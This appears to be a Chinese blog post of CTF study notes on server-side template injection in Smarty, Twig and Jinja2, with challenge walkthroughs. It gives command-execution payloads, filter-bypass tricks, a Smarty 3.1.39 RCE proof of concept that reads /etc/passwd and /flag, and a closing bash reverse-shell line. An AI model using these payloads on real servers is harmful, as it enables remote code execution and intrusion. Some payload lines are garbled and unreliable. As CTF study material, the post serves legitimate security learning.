SSTI模板注入

一、如何判断一个模板引擎是什么?

1. 根据编程语言

2. 根据下述图片

 

 

 

 

二、判断模板注入的注入点的方法

找这样的场景:你输入了什么,就输出了什么

基本上就两种情况

1. SSTI

2. XSS

三、Smarty SSTI

1. 什么是Smarty SSTI

Smarty是一个PHP模板引擎,提供让程序逻辑与页面显示(HTML/CSS)代码分离的功能。

2. 模板注入的办法

 

{$smarty.version}
{system("ls")}
{if show_source('/flag')}123{/if}

 

3. 例题  

例题1[BJDCTF2020]The mystery of ip                                                                                                      

1.点击网站中的flag文件,发现弹出的是本机的IP

2.猜测使用传入X-Forwarded-For为本机,构造如下

3.判断是否为SSTI模板注入,传入{7*7}发现显示为49,即存在SSTI模板注入

4.尝试传入系统命令:{$smarty.version}{system("ls")}{system("cat /flag")} 

 

 

 

获取flag

例题2[CISCN2019 华东南赛区]Web11

1.发现右上角有ip,尝试修改XFF 

2.system("cat /flag")

例题3:由红明谷Web引出的漏洞

https://blog.csdn.net/RABCDXB/article/details/123750375

Smarty_Version=‘3.1.39存在漏洞

Poc如下:

//无过滤
{function+name='rce(){};system("id");function+'}{/function}
//有过滤
/进行换行绕过
data={function+name='rce(){};system("id");function%0A%0A'}{/function}

四、Twig SSTI

1. Twig是什么

是来自于Symfony的模板引擎,它非常易于安装和使用。它的操作有点像Mustacheliquid

2. 注入方法

 {{self}}2 {{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“id”)}}
 {{['id']|filter('system')}}
 {{['cat\x20/etc/passwd']|filter('system')}}
 {{['cat$IFS/etc/passwd']|filter('system')}}

五、Flask Jinja2 SSTI

1. Jinja2 是什么

Jinja2 是仿照 Django 模板的一个功能齐全的模板引擎。它速度快,被广泛使用,并且提供了可选的沙箱模板执行环境保证安全。

2. 核心思路

  __globals__


wangming.__init__.__globals__ get_flashed_message.__init__.__globals__ request.__init__.__globals__ url_for.__globals__ __global__['__builtins__']['__import__']('os').popen('cat /flag').read() __global__['__builtins__']['tval']("__import__('os').popen('cat /flag').read()")

如果存在Bypass过滤点


//
在模板中,点和中括号大部分情况下可以互相转化,所以 a.__class__ <=> a['__class__'] a|attr('__class')

 

3. 关键字

核心思想:转换为字符串,再做字符串的各种操作

 

    1.拆分思想

      a.__class__  <=> a['__class__']  <=>  a|attr('__cla'+'ss__')

    2.利用__getattribute__ +  a.__class__  <=>  a.__getattribute__('__cla'+'ss__')

    3.利用request取参数  (request.headers.xx)request.args.xx

    4.字符串的格式化,join()拼接,字符串的编码等

4. 中括号

  1. 中括号和点相互转化
  2. b['x']   <=>   b.__getitem__('x')

{{

 

//⾸先利⽤这个判断是否能执⾏代码:
{% if url_for.__globals__.__builtins__.__import__('os').popen('echo x').read()=='x
\n' %} if进来啦!{% endif %}

 

 

接着 echo x  换成反弹shell的代码即可

bash -i >& /dev/tcp/ip:port 0>&1

 

posted @ 2022-08-17 10:01  GoIcejio  阅读(403)  评论(0编辑  收藏  举报